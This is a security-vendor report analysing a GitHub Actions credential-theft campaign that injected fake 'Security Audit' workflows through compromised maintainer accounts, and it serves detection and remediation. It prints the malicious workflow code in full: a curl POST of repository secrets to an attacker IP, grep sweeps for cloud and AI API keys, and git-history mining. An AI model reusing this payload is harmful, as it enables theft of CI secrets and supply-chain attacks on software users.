On October 8, 2026, attackers operating the GhostAction GitHub Actions credential-theft campaign compromised two high-profile open-source maintainer accounts and swept 345 repositories in two automated windows lasting minutes. Using the account of Takashi Kitao, author of the 18,400-star game engine pyxel, the attacker pushed a malicious workflow to 27 repositories starting at 13:20 UTC. Eight hours later, the account of Henry Wu (henrywoo), the original author of Uber's athenadriver, was used to push the same workflow to 318 repositories in a 16-minute window, 21:10–21:26 UTC.
The workflow is disguised as a security improvement and exfiltrates two categories of data to a hardcoded IP address over plain HTTP: the repository's named GitHub Actions secrets, and every cloud, AI, and SaaS credential findable in the working tree and the entire git history, a capability new to this wave. We analyzed the injected workflows, the commit metadata, and the GitHub Actions run logs. Our analysis of the run log from uber/athenadriver confirms the exfiltration completed successfully: the attacker's server acknowledged receipt four seconds after the workflow started.
Hunting queries
Run these at github.com/search (Code tab, logged in). The org-scoped queries check whether the campaign's markers appear anywhere in your organization's indexed default branches; a shortcut for the primary marker is this template link, where you replace your-org with your organization name. A zero-result search is a good sign; any hit means an infected repository or a fork carrying the workflow.
# Find infected repositories across all of GitHub
"AKIA_CTX_START" path:.github/workflows
"c=monami"
"193.32.204.199" path:.github/workflows
# Check your own organization (replace your-org with the org name)
org:your-org "AKIA_CTX_START"
org:your-org "c=monami"
org:your-org "193.32.204.199"
# Audit-log patterns
- commits by maintainer identities adding the workflow files above
directly to default branches, bypassing pull requests
- workflow_dispatch events on freshly created "audit" workflows
- unsigned rapid-fire commits across many repositories within minutesIf a workflow named “Security Audit” (security-audit.yml) or “Github Actions Security” (github_actions_security.yml) appeared in any repository you maintain since August 31, 2026, treat it as a confirmed breach: every configured Actions secret and every credential pattern present anywhere in your git history was offered to the attacker, and the workflow beacons on every execution even when it finds nothing.
Background: The GhostAction Campaign
GhostAction is a supply chain campaign against GitHub repositories that we first covered in September 2025, when it stole more than 3,000 secrets across 817 repositories belonging to 327 developers. The attack chain has been consistent since then:
- Account compromise. The attacker obtains a maintainer's GitHub credential, most plausibly a leaked personal access token from infostealer logs or credential dumps that circulate among multiple actors.
- Reconnaissance. The repository's workflow files are scanned for
${{ secrets.NAME }}references. The exact secret names found are templated into the payload before it is committed. - Injection. A workflow disguised as a security enhancement is committed directly to the default branch under the victim's own identity. The next push, including the injection push itself, triggers it.
- Exfiltration. The workflow POSTs the repository's secret values to an attacker-controlled endpoint via
curlover plain HTTP.
The campaign never stopped. The 2025-era payload is still being deployed alongside the newer one, and on the record we can verify directly, the exfiltration endpoint has moved from the domains we documented in September 2025 to the raw IP at the center of this wave. We first observe the current endpoint in campaign use on September 5, 2026, in the earliest infected repository we analyzed carrying it, and in honeypot records one day earlier:
The October 8 Wave
The October 8 activity was two mass sweeps, automated and nearly instantaneous:
Commit metadata shows the attacker operated entirely under the victims' legitimate identities. The athenadriver injection e3c0dfa carries git author and committer Henry <wufuheng@gmail.com>, maps to the real henrywoo GitHub account, and is unsigned. Nothing in an audit log looks anomalous unless the workflow content itself is inspected; the commit message is simply “Add security audit workflow.”
henrywoo's level of access is what carried the attack into a Fortune-500 codebase: he is athenadriver's original author and retained write access to the Uber organization repository. The injection bypassed Uber entirely: no PR, no review, straight to master.
Anatomy of the Malicious Workflow
Variant A: the classic named-secrets exfiltration
Repositories infected in earlier waves carry the original shape: a send-secrets job with a “Prepare Cache Busting” step, which POSTs the victim's named secrets as a URL-encoded body:
name: Github Actions Security
on:
workflow_dispatch:
push:
jobs:
send-secrets:
runs-on: ubuntu-latest
steps:
- name: Prepare Cache Busting
run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
- name: Github Actions Security
run: |
curl -s -X POST -d 'API_MIRROR=${{ secrets.API_MIRROR }}&GITEE_TOKEN=${{ secrets.GITEE_TOKEN }}&SYNC_PV=${{ secrets.SYNC_PV }}' http://193.32.204.199(Observed in typecho-fans/plugins, injected September 5, 2026 under the compromised xxyangyoulin account. Workflow file permalink at commit c604ac42.) This is the same payload shape we documented in our September 2025 coverage, still in active deployment a year later and now aimed at the current C2. The templated names are the smoking gun of pre-injection reconnaissance: the attacker harvested this repository's exact secret list, including a GITEE_TOKEN used to mirror the repository to Gitee, theft of which would enable pushing tainted code to the mirror and reaching a second ecosystem.
Variant B: full history mining (the October upgrade)
The October wave ships a substantially more capable payload under the name “Security Audit” (security-audit.yml). It triggers on workflow_dispatch and an unfiltered push (any branch, any tag), checks out with fetch-depth: 0, and runs a single “Audit” step that does four things.
1. Append the repository's named secrets (Variant A behavior) when reconnaissance found any. pyxel's copy (workflow file permalink at commit 97670a55) is telling: the attacker templated its publishing credentials.
out="REPO=$GITHUB_REPOSITORY"
[ -n "CARGO_REGISTRY_TOKEN=${{ secrets.CARGO_REGISTRY_TOKEN }}&PERSONAL_ACCESS_TOKEN=${{ secrets.PERSONAL_ACCESS_TOKEN }}&PYPI_PASSWORD=${{ secrets.PYPI_PASSWORD }}&PYPI_USERNAME=${{ secrets.PYPI_USERNAME }}" ] && out="$out&CARGO_REGISTRY_TOKEN=..."pyxel is dual-published to PyPI and crates.io; those four secrets are a direct path to shipping a malicious version of an 18,000-star library. When reconnaissance finds no configured secrets, the generator degrades gracefully to an empty template, [ -n "" ], as seen in athenadriver, pyllama, and chatllama. The URL marker also switches: repositories with named secrets POST to http://193.32.204.199/?c=monami, those without to /?c=new, letting the attacker sort incoming data by yield without opening the body.
2. Sweep the working tree for thirteen credential patterns:
grepped=$(grep -rEiho "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|sk-ant-[A-Za-z0-9_-]{20,}|sk-proj-[A-Za-z0-9_-]{20,}|sk-or-(?:v1-)?[A-Za-z0-9_-]{30,}|ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{60,}|glpat-[A-Za-z0-9_-]{20,}|AIza[A-Za-z0-9_-]{35}|xox[baprs]-[A-Za-z0-9-]{10,}|SG\.[A-Za-z0-9_-]{16,}\.[A-Za-z0-9_-]{16,}|(?:aws_)?secret(?:_access)?_key[...]|aws_session_token[...]" --exclude-dir=.git . 2>/dev/null | sort -u)
The target list has expanded with the times: AWS access key IDs and secret keys, AWS session tokens, Anthropic (sk-ant-), OpenAI (sk-proj-) and OpenRouter (sk-or-) API keys, GitHub classic and fine-grained PATs, GitLab tokens, Google/Firebase API keys, Slack bot tokens, and SendGrid keys. AI-provider credentials are now a first-class target.
3. Sweep the entire git history, the defining capability of this wave:
gl=$(git log -p --all 2>/dev/null | head -200000)
hist=$(echo "$gl" | grep -oiE "<same 13 patterns>" | sort -u | head -300)Because checkout runs with fetch-depth: 0, the runner holds every branch and tag. Combined with git log -p --all, the payload diffs the complete history of the repository: a secret committed once in 2019 and deleted the next day is harvested just the same. Rotating current Actions secrets no longer addresses this exposure.
4. Pair AWS key IDs with their secret keys by capturing ±2 lines of context around every AKIA/ASIA hit in both the tree and the history, delimited by AKIA_CTX_START…AKIA_CTX_END markers. An AWS access key ID alone is worthless, so the workflow ships the surrounding lines to complete the credential.
Everything goes out in a single request:
if [ -n "$(echo $full | tr -d ' \n')" ]; then
curl -s -m 20 -X POST --data-binary "$full" "http://193.32.204.199/?c=new" || true
fiWhat's new compared to the 2025 campaign
Compared with the 2025 GhostAction campaign we covered last year, this campaign adds six notable changes:
- Full git-history harvesting. The payload runs
git log -p --allto sweep every commit on every branch, not just the current working tree. - AWS key pairing via context capture. The payload captures surrounding context so that AWS access key IDs can be paired with their matching secret access keys.
- AI-provider API keys as first-class targets. Keys for AI model providers are now explicitly sought out, alongside traditional cloud and platform credentials.
- In-band campaign telemetry. The
?c=monamiand?c=newquery markers tell the operator which repositories yielded named secrets. - Raw-IP, plain-HTTP egress. Exfiltration goes directly to an IP address over HTTP. No DNS query is made, so domain-based defenses are bypassed entirely.
- The remediation goalposts have moved. Rotating configured GitHub Actions secrets, the core of our 2025 guidance, no longer covers the exposure. Because the history sweep reaches credentials that were deleted long ago, any secret ever committed to the repository must be treated as compromised.
Execution Forensics: the Workflows Ran
uber/athenadriver: exfiltration confirmed
We retrieved the Actions run log for the malicious run (run 37846728441, triggered by the injection push three seconds after the commit; workflow file permalink at commit e3c0dfa). The log shows the checkout fetching all 13 branches and 20 tags of the repository, including developer branches under henry.wu/* and a branch named s3-bucket-compromised-2023-03, all of it now in scope of the history sweep. The three greps execute, and then:
2026-10-08T21:26:04.5581406Z grep: warning: ? at start of expression
2026-10-08T21:26:04.5582006Z OKOK is not produced by the workflow; the script prints nothing itself. It is the C2 server's HTTP response body, echoed to the log by curl -s. The POST to 193.32.204.199/?c=new was delivered and acknowledged at 21:26:04Z, four seconds after the run started.
Two operational details from the same log: the AWS-secret-key regexes partially misfire because (?:...) non-capturing groups are invalid in POSIX ERE (the source of the grep: warning lines), so that pattern under-matches; the literal-prefix patterns all work. And the run's GITHUB_TOKEN was scoped to contents: read, meaning the workflow could not itself push or publish; escalation depends on the secrets it steals, which is precisely why pyxel's registry tokens matter.
kitao/pyxel: the attacker came back and pressed the button
pyxel's malicious workflow ran five times, all concluding success: three times triggered by the attacker's own pushes, and, notably, twice via manual workflow_dispatch at 13:36:32Z and 13:42:35Z, issued from the compromised kitao session immediately after each workflow update. Beyond the automated sweep, this is hands-on-keyboard operation: the attacker re-ran the exfil workflow to verify or repeat collection.
typecho-fans/plugins: re-triggered by empty commits, stopped by an approval gate
On October 7, the compromised xxyangyoulin account pushed two commits to a repository infected since September 5: an empty commit (e84c040) titled “Update Github Actions Security workflow” (zero file changes), followed two seconds later by a three-line README edit titled “Trigger security scan.” Both exist purely to re-fire the workflow. Both resulting runs stalled in action_required because this repository requires approval for workflow runs, and the exfiltration did not execute. A one-setting control broke the kill chain.
Scale: Still Live
As of October 9, a GitHub code search for the C2 address across workflow files ("193.32.204.199" path:.github/workflows) returns 378 repositories with a live malicious workflow on the default branch. The payload's AKIA_CTX_START history-mining marker appears in 182 of them, and 88 carry the ?c=monami marker, meaning named secrets were templated and exfiltrated. These counts are approximate and drift daily as victims clean up; code search indexes only default branches and excludes forks, so henrywoo's 279 infected forks sit on top of this figure.
Beyond the two headline accounts, the live victim list includes uber/athenadriver, kitao/pyxel, henrywoo/pyllama (2,800 stars), henrywoo/chatllama (1,200 stars), howie6879/liuli, monkeyx-net/PortMaster-Build-Templates, and RSOLV-dev/rsolv-action, the source repository of a published GitHub Action where a tainted release would propagate to every workflow referencing it, plus a long tail of personal projects.
No malicious package releases have been published from the compromised publishing credentials as of this writing: pyxel's last release is v2.9.9 (August 12, 2026, pre-compromise), its last crates.io publish dates to 2019, and athenadriver's last release is v1.1.15 (March 2024). The exposure window on those tokens is open until they are rotated. This mirrors the 2025 waves, where we likewise observed harvested publishing credentials and no malicious releases during the exposure window we monitored; the absence of abuse so far is not evidence that the credentials are safe.
Indicators of Compromise
Remediation
For StepSecurity Customers
Harden-Runner
Harden-Runner provides network and process visibility during CI/CD runs and correlates outbound connections with the responsible repository, workflow, and step. The C2 address in this campaign, 193.32.204.199, has been added to the StepSecurity global block list: Harden-Runner blocks connections to listed destinations by default, even without an explicit blocking policy or an allowed-endpoints allowlist. An enforced allowed-endpoints policy adds a second layer that blocks any destination outside the allowlist, including raw-IP infrastructure that has not yet been identified as malicious. That second layer matters here: the payload POSTs to a bare IP address over plain HTTP, producing no DNS query for domain-based controls to inspect. See the Harden-Runner global block list documentation.
To check for past exposure, review your Harden-Runner network telemetry for runs since early September 2026 and filter for destination 193.32.204.199 on ports 80 and 3000. Any hit identifies the exact workflow and step that performed the exfiltration.
Workflow and Repository Policy Guidance
The guidance from our September 2025 GhostAction coverage remains in effect for this wave: restrict runners with an allowed-endpoints egress allowlist, require approval for workflow runs where feasible, and protect .github/workflows/* with branch protection so workflow changes require pull-request review. The 2025 post also describes the secret-exfiltration workflow-run policy and runner label policy configurations for customers who want alerting on these patterns. The approval gate is worth singling out: it is the single control observed stopping this campaign's exfiltration this week.



